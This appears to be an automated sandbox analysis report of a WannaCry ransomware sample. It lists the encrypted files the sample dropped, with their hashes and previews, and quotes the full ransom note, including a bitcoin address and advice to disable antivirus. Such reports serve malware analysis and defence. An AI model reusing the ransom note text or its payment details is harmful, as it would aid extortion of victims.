                                                                                                                        MD5:4E7AA548DBFA711CCE0CEC71C15CF26D
                                                                                                                        SHA1:344EACAC0AB7CADD5BD58D04633949C65FCCF731
                                                                                                                        SHA-256:7DD047BB00E4FE9807551DD19BC8E0C9611F77210FB3886F82EC3EF3421F1751
                                                                                                                        SHA-512:92F9392312175C745C07B5733EA0C706FEC5817E37D7FA2737324505EAB42F0B22395EA6F83EDF45CE1565762BE03D8D6AC28933A89169EEDD38587E2A17E478
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.....$.O:..yy..5.@.]...q..#.Q.pO4..vY.3.(..i...3.....\.k'n..OD'.._.1..G.|.*Jck.-....1.a....A..5.2.O.$.#c.}M.'/.j..^.(...SIULE.....eU.......*...Q.....0....C...Q$h...K..O.6_..@...p.-.G...r~.8.0.O.....Z.K:.3.G.|.m...Y......G;!.(.y..c..F...K.g....;H..."................;..@.<..F....R.V^x....o.6.b.....k.?.....ScR..V3.+#.P.M...........?..:..d...,...O.M..Z8bAw.<..f...E..%5..!.b....5....8>.4d...G4...6..Q...I.Ut.....W7g...5|O....=..U.nX.$...c.....P...J....9.of..T.R..~.....h.*.\O..88]....d.2zjn.s.<kI.nv...y&U.8O.2......{#w:.q...]......s.S..4....7..#].7..`.i.n/|....6....?<.~E?.........A..C......n....=...D.I.J.Ki.....g."....] h.. z...X.J....S\...:...>R..v.....IZ....d.b....C.ko ..1...0(.P..-.l.......D.0.?.u..vz=.O.5.T......}..m../Lk..S.....^..o....s.E.f..\r....).< .v.;..j .../.............@...6...y..2.~.D.......).j.[.......,t...8.......M..}ZJ...%G.y........._.^.W.P.' .I.r.G@.....='.e...4P......\..g`&..k..<....*.x.q_..V6...._..R_iyEJ.....(.....

                                                                                                                        C:\Users\user\Desktop\WKXEWIOTXI\WKXEWIOTXI.docx.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.8474313864367495
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkAce63SIxeugOLOe2Ey2XFztN+k7JW6ht5XaTOb00L6sRLb+KY+upm71rRs9:bkjxevOjjy2JDl7JxY0LXiOuS1ds9
                                                                                                                        MD5:4E7AA548DBFA711CCE0CEC71C15CF26D
                                                                                                                        SHA1:344EACAC0AB7CADD5BD58D04633949C65FCCF731
                                                                                                                        SHA-256:7DD047BB00E4FE9807551DD19BC8E0C9611F77210FB3886F82EC3EF3421F1751
                                                                                                                        SHA-512:92F9392312175C745C07B5733EA0C706FEC5817E37D7FA2737324505EAB42F0B22395EA6F83EDF45CE1565762BE03D8D6AC28933A89169EEDD38587E2A17E478
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.....$.O:..yy..5.@.]...q..#.Q.pO4..vY.3.(..i...3.....\.k'n..OD'.._.1..G.|.*Jck.-....1.a....A..5.2.O.$.#c.}M.'/.j..^.(...SIULE.....eU.......*...Q.....0....C...Q$h...K..O.6_..@...p.-.G...r~.8.0.O.....Z.K:.3.G.|.m...Y......G;!.(.y..c..F...K.g....;H..."................;..@.<..F....R.V^x....o.6.b.....k.?.....ScR..V3.+#.P.M...........?..:..d...,...O.M..Z8bAw.<..f...E..%5..!.b....5....8>.4d...G4...6..Q...I.Ut.....W7g...5|O....=..U.nX.$...c.....P...J....9.of..T.R..~.....h.*.\O..88]....d.2zjn.s.<kI.nv...y&U.8O.2......{#w:.q...]......s.S..4....7..#].7..`.i.n/|....6....?<.~E?.........A..C......n....=...D.I.J.Ki.....g."....] h.. z...X.J....S\...:...>R..v.....IZ....d.b....C.ko ..1...0(.P..-.l.......D.0.?.u..vz=.O.5.T......}..m../Lk..S.....^..o....s.E.f..\r....).< .v.;..j .../.............@...6...y..2.~.D.......).j.[.......,t...8.......M..}ZJ...%G.y........._.^.W.P.' .I.r.G@.....='.e...4P......\..g`&..k..<....*.x.q_..V6...._..R_iyEJ.....(.....

                                                                                                                        C:\Users\user\Desktop\WKXEWIOTXI\ZTGJILHXQB.xlsx

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1026
                                                                                                                        Entropy (8bit):7.797267371487034
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:xaE5vcDdV8g4LWiInMak/YiwcxLAxolyqa5b12ouRDZrOSj:xaE5vcDdV8RLXVN/ucx4olYbIouxZrv
                                                                                                                        MD5:4BE56E67CC5BE810E40AD6CD51D5548C
                                                                                                                        SHA1:BDC0BF071BD654C26AEF04A2313412354FA75246
                                                                                                                        SHA-256:F94028AEA27764187824560A327A12B316653F1EE5C5FA954F8BCC9F9F9DCBF7
                                                                                                                        SHA-512:D26D8EFF0812258135532278B9CFCF117B1B6D5A41B748BDA86AC0B6564C9F43CD49B798728ED0DE521D0C12E553D05D863C3FBF90556B06304B97EB533E8430
                                                                                                                        Malicious:false
                                                                                                                        Preview:O......0].......|.....!R..k_..........._......x.......8.......1..+.D...hT.=....S.F...VS,f.........;Ez...I....c.....p.5B..$.u.....^<.Zx95r.....n.?P..?#...@...(z.C4C.R5.ye,7`X3.m+..^E..."..d8.gM.4..~.*..V..W..Y.{.......Mlk_...v..U....B.>.i..9.5.Ue.....n)......M..J.C.'|.!..j.....r...-.D......}.._.I.D..H.%......Fb.H.5.xY.i......'(.;C.~...../.E..L"j...o......i.1...X.....u[Id...._.k..R..%@C...Y..d..K..a..#.W;O..w.u.&......v..L..eJ.2b...|}y..}`.m.p..h..t.....LMy..a.oE.4p7....+.LV>..D.D..s..]!.[Ai..OO.Q........t......d....j.c...M."^..?u;..mY.j..a\.o.@H@.....N.^..&...mc..R.~.i.O.%n.g...2.....!....&.."8.9.....^.H..H."..j}].4.#O.Gy?........>F..B..09./s#..D.....6..{..j.#..{!.aw...zM9...Y....:.UF.0...F..-...Z..r.C...r.t.X..Y...5.T..c.'.s=..I......k,Dp}P......J.S...NB.../....."5.y....?..f..4.]..P H;(.uO.........C..n.\e%yP.T.;K.tK=...t..eY..dp..A..;..93q.......?..*c%.W.a;.U.xECo2."i..........DHW.4.........,..?..D.....^.a".\...+....W.h.{.....?...g.

                                                                                                                        C:\Users\user\Desktop\WKXEWIOTXI\ZTGJILHXQB.xlsx.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.835569588859612
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkgUjmtX7LTqZ0kCpa0JYAmBf8onTxQOSy5Ku5K/egyT7LJqeZ61QjTSIfTMEGP7:bkqtLLTqLCp3Yba4aOS0/K/eLlkQjGP7
                                                                                                                        MD5:E44939B3C34D7FDBF32B5718DDAECEFD
                                                                                                                        SHA1:0E31269EF3906E90CA25DE3B3C4FD30F513C42C7
                                                                                                                        SHA-256:CC6905FCC7148FD8838BDACCED2CC8483C571D47829760DCA612B40BE7D5A281
                                                                                                                        SHA-512:0F9FE7B7C547B289743FEEABEF18F00FF588F38F53671429EE7CEA322A0F5A06065ED7A22657FBF352B0EFE99CC272D8E69674406081B180E4D7242A00E41F25
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!....V.l....p./R..4uSB...k.V'........pr....Q...N.....U5...r0..../m...c...q.y..r...W.3.......jr.`u.P._..}rg....W..h.3."@.O!.q..*HhR..[..j._..<'.8g.v..A..d.x.p..&......*.&...N.d..1.."_N.1X.....}7.o..0s.....3.."...i...V`..[d?.u..J.Z.....a....,o....CQV................g..Z...'..f.K/*..$t.+.;....."..x,....B..M.r..u....D..WP.e.&.|..c.\P. .i....*...5A.e..).7....ml.(..4.V:n.0..:e...*.........:s.o0f$=.q<..7..*..jzv..<..%_~S{....3K%.+.......4...N.......un...i..8?.m..T.#|...z.,#2..\..eW.b[Gw....z........,.xp..2...:....t.'Fd;. =a....2q.....+\U...v.Hg..@^[H.T....Q..m.W..L5..8..i...1..r.e.S...mK...;...#C..o...w.C.?...>.S....0B3?..M....'.`.,.l.[..+...n.?=.u5X..+..{7B3..F....R@....z<..*1..O.N...F.V....m......$..`<..\...d.2...A6@..N.....s0P.....f.5%.. .k%..C-..3..x.a..sy.7......5Z..f..-F..V1..6....~.*.&.J.pP.1...#b.JBT|n?......W4..7...6rH....n..:.U.*/r<.H...KS.#w...5y...AC]L%.R.w..y.....0{.....s5m.8......w.Sn.`........Q=........)x.oy&Tj.....G...w

                                                                                                                        C:\Users\user\Desktop\WKXEWIOTXI\ZTGJILHXQB.xlsx.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.835569588859612
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkgUjmtX7LTqZ0kCpa0JYAmBf8onTxQOSy5Ku5K/egyT7LJqeZ61QjTSIfTMEGP7:bkqtLLTqLCp3Yba4aOS0/K/eLlkQjGP7
                                                                                                                        MD5:E44939B3C34D7FDBF32B5718DDAECEFD
                                                                                                                        SHA1:0E31269EF3906E90CA25DE3B3C4FD30F513C42C7
                                                                                                                        SHA-256:CC6905FCC7148FD8838BDACCED2CC8483C571D47829760DCA612B40BE7D5A281
                                                                                                                        SHA-512:0F9FE7B7C547B289743FEEABEF18F00FF588F38F53671429EE7CEA322A0F5A06065ED7A22657FBF352B0EFE99CC272D8E69674406081B180E4D7242A00E41F25
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!....V.l....p./R..4uSB...k.V'........pr....Q...N.....U5...r0..../m...c...q.y..r...W.3.......jr.`u.P._..}rg....W..h.3."@.O!.q..*HhR..[..j._..<'.8g.v..A..d.x.p..&......*.&...N.d..1.."_N.1X.....}7.o..0s.....3.."...i...V`..[d?.u..J.Z.....a....,o....CQV................g..Z...'..f.K/*..$t.+.;....."..x,....B..M.r..u....D..WP.e.&.|..c.\P. .i....*...5A.e..).7....ml.(..4.V:n.0..:e...*.........:s.o0f$=.q<..7..*..jzv..<..%_~S{....3K%.+.......4...N.......un...i..8?.m..T.#|...z.,#2..\..eW.b[Gw....z........,.xp..2...:....t.'Fd;. =a....2q.....+\U...v.Hg..@^[H.T....Q..m.W..L5..8..i...1..r.e.S...mK...;...#C..o...w.C.?...>.S....0B3?..M....'.`.,.l.[..+...n.?=.u5X..+..{7B3..F....R@....z<..*1..O.N...F.V....m......$..`<..\...d.2...A6@..N.....s0P.....f.5%.. .k%..C-..3..x.a..sy.7......5Z..f..-F..V1..6....~.*.&.J.pP.1...#b.JBT|n?......W4..7...6rH....n..:.U.*/r<.H...KS.#w...5y...AC]L%.R.w..y.....0{.....s5m.8......w.Sn.`........Q=........)x.oy&Tj.....G...w

                                                                                                                        C:\Users\user\Desktop\ZTGJILHXQB.docx

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1026
                                                                                                                        Entropy (8bit):7.811197380119688
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:q+f/ggBsdGKU9p4QDwO8KnHqv8khqxDjJuMtS5:OHgN9WSqESmDltK
                                                                                                                        MD5:26C76BCEBE805BEFF9332AC1DC48CA73
                                                                                                                        SHA1:0B8B0EB633AD057AACB1D9348E50A9F6506E81DC
                                                                                                                        SHA-256:077148453C0E9ECAA6C891FB5F28830245E82FC8E190D84C37F1DF3229A4E5A5
                                                                                                                        SHA-512:AF5BF6CDE3E6672290E052DFAF978FDCF7B5CE0453BD7C509B44DBF143E41AECD82E71988FEA8D64E5E29D1A0FE9A2BCC3E3DA003C83C9DA1DF64C23DF525075
                                                                                                                        Malicious:false
                                                                                                                        Preview:...+=..@./@v..Qm..r...m.1..mF.AI.o....)....y..w."A.Y..&!{........,.He]U..3.]w=.........|..$...l.|.Lf.0.\..@.I.K.v.D.i.y>p.....^..*i.j.Rv/....:.r&....Yp......=g......U....o....`..j^.J.p..F.8~_..SwR....a.Sp...'.4.......Q...&....p......D.'&.c3;..7......0....#Q........"...z.....1 o7..m~.4U..}.....=.H:+....Ab:&.]S$P=..I.m...}..}e.....04..M#..U7H...T|....pqw.@........I.L.L.p..K.....Y....M.... .-.n...i...g..E...l......py.....Y......S...n...N...@&.U...mSD..y1.s.D......{.??.:....z......p...S.l.....d.[m@n...[.....~..0..$1...4...G.C............ac..>..[*.YF............P.4..a.$.Q..'.C.R?.Fp...)....8..c.!2D..W.l..b.,e..zS....K.]......../..,..)u9.w.r*...2.f2....b.....g..q.E."j.?.-...2...H......Ka.o.".......u..R\]..2#.).|n..I....}z.....ZD.W3..].}...;"..F.h[Xe/...;...p.....c.+...g.....'97`9i...M..n..N.;..8g95...5N...\..sXe...Fe..*......C.x..g...mQTI...H.j....8.j..E.....k.%t!..G*..4dl/.V..g..]$...El......t.....qM3z...CT}S6.R.J.s......8.T....;.8S.

                                                                                                                        C:\Users\user\Desktop\ZTGJILHXQB.docx.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.8265258396307145
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkRX0a9uUDbAFjWOYXpwdOS69s1FkOURJqkJKm+lLhT52PDBFnEjXYrwQeL:bkR7b6j+WdOS698Fk3/JL0Z5cDX+orwV
                                                                                                                        MD5:6D860C6B87C1AFC49F22CCF2CAA169B3
                                                                                                                        SHA1:2A5229924961F7B5879BD0649C0BA8338565443E
                                                                                                                        SHA-256:8A553EB29708F1295E362EF328977309F042A9B96CB860DE29C1074376D92FED
                                                                                                                        SHA-512:47D3EB61D71D3BE19C00BB627CBA1DCD88D9A939C6719E7A09A42A36D90CC57F125BE819EB85E51677F332A67CD8D4BBC64C14D3BBB440A6DCF15D7428E3932F
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.....[..#..C.L.?....#..VI.Y..<=...`W..]~............{..K...uY.D?cXY.......L..l...ZL..X./.&...8.......Y..+..;Z...w .l.....S.'z.......M$....+..c._.."v.Q...G}..I.u........X......R/.`.m.V.i.P.X..........f..kl ....<.2..L.g...e).s k..z..a.H.;Y...............).d.xw.&.)......O.6.l.=u.HX|.....p.Y.....O.G....D.P.p...U...tn......O..eh..R..o..".&._....t+..z..KW...? .k|.TW...3...P.4........G....3A.Dv....h_q.....O..h........'..H.T*.#.....*..#c.A..|./n....9)ds.....q(.M.0uc..<..../!..ky...Q]. .r[._..z..I....D.|C.a'(Z.Q.........Y....e^...f!.}.Z..C.x?...v506..L./n.N....1.....u.R.v.{U..s.fc`G<Z...%.x....}]W..L...Kt....Z8.z.o..^l..U..<...,..t.K.>..a.4...3...EmHb!.VS,.._....M&.`..C..*!P.M......)J.K...;z\}...u.b.y.Q..a.T.s]...^R]..p..W.q..+.<|.^..`...l.CZ..?r...</2.K..t.....t.B.3~...B......-.8D..-.i...-B J-Vb.]}D.iTv..y..fU0..u.`\4.....T){.DNI<..!.J.......-U....Y)`a/......&...kuhZ16L.$+...P.V..>e.`5....N.c....gd...Y...GN...*' ...(.Q..W$/'./.ey.;

                                                                                                                        C:\Users\user\Desktop\ZTGJILHXQB.docx.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.8265258396307145
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkRX0a9uUDbAFjWOYXpwdOS69s1FkOURJqkJKm+lLhT52PDBFnEjXYrwQeL:bkR7b6j+WdOS698Fk3/JL0Z5cDX+orwV
                                                                                                                        MD5:6D860C6B87C1AFC49F22CCF2CAA169B3
                                                                                                                        SHA1:2A5229924961F7B5879BD0649C0BA8338565443E
                                                                                                                        SHA-256:8A553EB29708F1295E362EF328977309F042A9B96CB860DE29C1074376D92FED
                                                                                                                        SHA-512:47D3EB61D71D3BE19C00BB627CBA1DCD88D9A939C6719E7A09A42A36D90CC57F125BE819EB85E51677F332A67CD8D4BBC64C14D3BBB440A6DCF15D7428E3932F
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.....[..#..C.L.?....#..VI.Y..<=...`W..]~............{..K...uY.D?cXY.......L..l...ZL..X./.&...8.......Y..+..;Z...w .l.....S.'z.......M$....+..c._.."v.Q...G}..I.u........X......R/.`.m.V.i.P.X..........f..kl ....<.2..L.g...e).s k..z..a.H.;Y...............).d.xw.&.)......O.6.l.=u.HX|.....p.Y.....O.G....D.P.p...U...tn......O..eh..R..o..".&._....t+..z..KW...? .k|.TW...3...P.4........G....3A.Dv....h_q.....O..h........'..H.T*.#.....*..#c.A..|./n....9)ds.....q(.M.0uc..<..../!..ky...Q]. .r[._..z..I....D.|C.a'(Z.Q.........Y....e^...f!.}.Z..C.x?...v506..L./n.N....1.....u.R.v.{U..s.fc`G<Z...%.x....}]W..L...Kt....Z8.z.o..^l..U..<...,..t.K.>..a.4...3...EmHb!.VS,.._....M&.`..C..*!P.M......)J.K...;z\}...u.b.y.Q..a.T.s]...^R]..p..W.q..+.<|.^..`...l.CZ..?r...</2.K..t.....t.B.3~...B......-.8D..-.i...-B J-Vb.]}D.iTv..y..fU0..u.`\4.....T){.DNI<..!.J.......-U....Y)`a/......&...kuhZ16L.$+...P.V..>e.`5....N.c....gd...Y...GN...*' ...(.Q..W$/'./.ey.;

                                                                                                                        C:\Users\user\Desktop\ZTGJILHXQB.xlsx

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1026
                                                                                                                        Entropy (8bit):7.817537896942761
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:p5NPt/mY5wb/HPTl6mfyUAlbR7sG+jbwlaYRWuK1S:p5NNZ5CYlF7wfaaYRv
                                                                                                                        MD5:17D8FEE3007977AE709DF45A8EDCC538
                                                                                                                        SHA1:44C8A7208F69C0ED0D9EAE7A44DF00F9B33D0E80
                                                                                                                        SHA-256:B3F83AD2A6F45F1D3EDAAE6E09DB8F7F9375B8C2F8CB476941F6CAC97D60D695
                                                                                                                        SHA-512:A8DBBB5A8E5083FF4643C6C4F0A5B5D4500A5C92CD1CC77154EE30391558DA900CD9800C3FC62BC9C82FFFEF9EA8901F440CA836FB0C57FCD7C5BD55995A6906
                                                                                                                        Malicious:false
                                                                                                                        Preview:.VN:]...:}t..v..M......f......j]Z......_qM.U..&CD...h%i.4,L.!M|..........Q".g..%..........k...p..F.('...H......8>..s..W.F..........x..7-..3.#.........d.;x..ZK.n..x]...l....`._....}h..t6..4g........*A..C.a...Aulq...>[...H...@.J.".l.{g....b.g..+ !4..............E........K;..~.D0....j...`.k/..4.6. -t_.(...I.Tw.JA#".>.......Mz...3s...T..L.N...zT_v...a.../...t.kH5.....e..v...H...:P.I~m.)^B..v7...P.se.E.S.>].6)..r._.@..ds}.%...)W.....Aj..*U..2..k.?...{..e..x`...w.0.D.......V.....J.}T.....X....imX..8........'m..d..P.....XS5..o... .r.!.4v9..Y..vlN.J9<..i.n_.n..........K..(...F..%.t...../..f......H!....!....o.P.*e#..im.....0.^.7`|&..A.....M.@jN.k I.....]..G.`R." mk..[.u.Sm...>.h....)../.?.x.:.2.9.....n....^.!....U./..7.o../....h.*..;...>\.)...17x.d.z...9O./2(.v.@Q.....S.J`.S.d...)...........TY...h.'W.......+.?..vx.z...i.........).N..J.XW}`..QJ.&8.....l.T.=..s....#.[M...w.fX....r+..=..uO.....s.+..//`.3...f-.uV..Gt.../$..5..U...X.3.&..|.}.`.'cK.M

                                                                                                                        C:\Users\user\Desktop\ZTGJILHXQB.xlsx.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.815472562053023
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkR+aoZXlqxk5v11SwmacVqL5g+EtJSCE6y/4u5aJ096i+cRMKRIEKWV1eBC:bkiZk+jB1cVog/tJBMv5nRpRIasC
                                                                                                                        MD5:F30CDC0CCFEE54E452481BF9EF7AD284
                                                                                                                        SHA1:E58A318F5CD9832DBF7BF52BD5D3672221B37F55
                                                                                                                        SHA-256:31DC86DBE33B342549897AD719C66F5A5859B48F87C15DC56F287F02AEA53671
                                                                                                                        SHA-512:2B1E2F7F86F77AA6AD8F11EB640256090F141A99D4FFE0135D845722755E1854FADFF7DE07FA604E5C3809705F2EE215A8442FD698FAA75819DE4278BAEC718E
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!......b."7."D..G.......4.c.H.:."...Y.9.\..j 9.......S1..(2.,.R..f%94........FQ..#ricn.....SS0..Sj.!\....<"U.'.........|....h`...Cm..S...[..8).....s...}...A?.(...x.......1Q.....b".Y...r/&;.M.i..W..@...V.......0.hrI.o....Y..'...F3..w..N...................{0.!..9C.....D.#T.[.......P......<...7.u..m..U..".....iL...7..M/..r/M..N...........8.......;.nMV.,........-.*.r.'n..%u.h... Y(hkGFB2?........~]....%.x.H...5L."z..m...%.*.D...)9)>.t.>n....L..6`..9.-...m....:.-...0d.....:.M.i....(.3_....P[.......#.B.+...:_.D.c.....}...]...G4..48.S...8)....p?Mt..O.yRT.Rzy.E...<...0.D..VT..vt:g.HU...O..pD9..P.;f.8..$6.E}...2...}.A../..iV2.&P4.:..o.u....;m.~.../....>~...(.@....Gb~s.#m...3.7..."E...$]NLa..._N.S(`....YQ./c.&]...Y.[...d...?.'...o.q..<-=Z(.....}AJ..jw.$u......F....6*.m.!...(.Ex{.r*DFI.4...Z.j....\B+w....2.VAr ...>m{....|.9=..F4.....F..C>..../\7.kC.G..x.s.E41..}.rY.Y9v..m-aX.W.Kc..q.....C8@.Z..!1.(...i.*..z~...#....Y.R.d.M. .ZL..@.D

                                                                                                                        C:\Users\user\Desktop\ZTGJILHXQB.xlsx.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.815472562053023
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkR+aoZXlqxk5v11SwmacVqL5g+EtJSCE6y/4u5aJ096i+cRMKRIEKWV1eBC:bkiZk+jB1cVog/tJBMv5nRpRIasC
                                                                                                                        MD5:F30CDC0CCFEE54E452481BF9EF7AD284
                                                                                                                        SHA1:E58A318F5CD9832DBF7BF52BD5D3672221B37F55
                                                                                                                        SHA-256:31DC86DBE33B342549897AD719C66F5A5859B48F87C15DC56F287F02AEA53671
                                                                                                                        SHA-512:2B1E2F7F86F77AA6AD8F11EB640256090F141A99D4FFE0135D845722755E1854FADFF7DE07FA604E5C3809705F2EE215A8442FD698FAA75819DE4278BAEC718E
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!......b."7."D..G.......4.c.H.:."...Y.9.\..j 9.......S1..(2.,.R..f%94........FQ..#ricn.....SS0..Sj.!\....<"U.'.........|....h`...Cm..S...[..8).....s...}...A?.(...x.......1Q.....b".Y...r/&;.M.i..W..@...V.......0.hrI.o....Y..'...F3..w..N...................{0.!..9C.....D.#T.[.......P......<...7.u..m..U..".....iL...7..M/..r/M..N...........8.......;.nMV.,........-.*.r.'n..%u.h... Y(hkGFB2?........~]....%.x.H...5L."z..m...%.*.D...)9)>.t.>n....L..6`..9.-...m....:.-...0d.....:.M.i....(.3_....P[.......#.B.+...:_.D.c.....}...]...G4..48.S...8)....p?Mt..O.yRT.Rzy.E...<...0.D..VT..vt:g.HU...O..pD9..P.;f.8..$6.E}...2...}.A../..iV2.&P4.:..o.u....;m.~.../....>~...(.@....Gb~s.#m...3.7..."E...$]NLa..._N.S(`....YQ./c.&]...Y.[...d...?.'...o.q..<-=Z(.....}AJ..jw.$u......F....6*.m.!...(.Ex{.r*DFI.4...Z.j....\B+w....2.VAr ...>m{....|.9=..F4.....F..C>..../\7.kC.G..x.s.E41..}.rY.Y9v..m-aX.W.Kc..q.....C8@.Z..!1.(...i.*..z~...#....Y.R.d.M. .ZL..@.D

                                                                                                                        C:\Users\user\Desktop\ZTGJILHXQB\@Please_Read_Me@.txt

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:ASCII text, with CRLF line terminators
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):933
                                                                                                                        Entropy (8bit):4.708686542546707
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:ptrPzDVR5Gi3OzGm0EigS1xbnrRQhbrW8PNAi0eEprY+Ai75wRZcet:DZD36W3yhvWmMo+S
                                                                                                                        MD5:F97D2E6F8D820DBD3B66F21137DE4F09
                                                                                                                        SHA1:596799B75B5D60AA9CD45646F68E9C0BD06DF252
                                                                                                                        SHA-256:0E5ECE918132A2B1A190906E74BECB8E4CED36EEC9F9D1C70F5DA72AC4C6B92A
                                                                                                                        SHA-512:EFDA21D83464A6A32FDEEF93152FFD32A648130754FDD3635F7FF61CC1664F7FC050900F0F871B0DDD3A3846222BF62AB5DF8EED42610A76BE66FFF5F7B4C4C0
                                                                                                                        Malicious:false
                                                                                                                        Preview:Q: What's wrong with my files?....A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted... If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!.. Let's start decrypting!....Q: What do I do?....A: First, you need to pay service fees for the decryption... Please send $300 worth of bitcoin to this bitcoin address: 115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn.... Next, please find an application file named "@WanaDecryptor@.exe". It is the decrypt software... Run and follow the instructions! (You may need to disable your antivirus for a while.).. ..Q: How can I trust?....A: Don't worry about decryption... We will decrypt your files surely because nobody will trust us if we cheat users... ....* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window....

                                                                                                                        C:\Users\user\Desktop\ZTGJILHXQB\@WanaDecryptor@.exe.lnk

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Jan 8 18:46:33 2025, mtime=Wed Jan 8 18:46:33 2025, atime=Fri May 12 06:22:56 2017, length=245760, window=hide
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):577
                                                                                                                        Entropy (8bit):5.167142294096636
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:12:8NpzYNbf2jUl9nNArUoBjAfodwalOmCt:8klbwAmsm
                                                                                                                        MD5:D32A14B20ADB8540FF2F16E7A3F0611D
                                                                                                                        SHA1:BB088EFA392719E58AD6EB2CE8AA38E01C22F661
                                                                                                                        SHA-256:7C1188B4684DCD5D3C276E697FFA8F4883225A01723ED332D81607AFB8B83851
                                                                                                                        SHA-512:01B71960133F8FA6ADE4AF85F5A0203E0F09B648EFF30F6C74483643225047F10A32A3EBF74A8F4202655E1EDFF43D1D24464F72D4D005D5A5189E81958A67ED
                                                                                                                        Malicious:true
                                                                                                                        Preview:L..................F.... .....w..b....w..b....U..................................P.O. .:i.....+00.:...:..,.LB.)...A&...&.......`._........b.......b....t.2......J.: .@WANAD~1.EXE..X......(Z.(Z.....\.........................@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.......Z...............-.......Y.............[.....C:\Users\user\Desktop\@WanaDecryptor@.exe......\.@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.`.......X.......226546..............n4UB.. .|..o........G.P..#.....n4UB.. .|..o........G.P..#.E.......9...1SPS..mD..pH.H@..=x.....h....H......c-dSA....n.............

                                                                                                                        C:\Users\user\Desktop\ZTGJILHXQB\GAOBCVIQIJ.mp3

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1026
                                                                                                                        Entropy (8bit):7.80149574363411
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:r6T8caKGihikn6BZ/wkoBDxIuHgP3GP09D0CpdfO8HbQah:r6T8cEUiw6BZ/wk4xe3dAQdf3
                                                                                                                        MD5:394D12D10FA79ED2B75A7E3F886C8798
                                                                                                                        SHA1:35A2404DF92743E87CC642ED8D8580964B76ABFE
                                                                                                                        SHA-256:BC9E995D696E81DB6CF7A0CA44ADE2C1142667560317DA7BCBBACFFD54D8F0B6
                                                                                                                        SHA-512:76CAB5B31E21EFA75978F2E534DE70A1D7BC12519A3418928341763F72C098A212350BBCA4CBF92007B2D6C2BD0EA52A1A11AA0C7D23D48F25A5BC09A6830171
                                                                                                                        Malicious:false
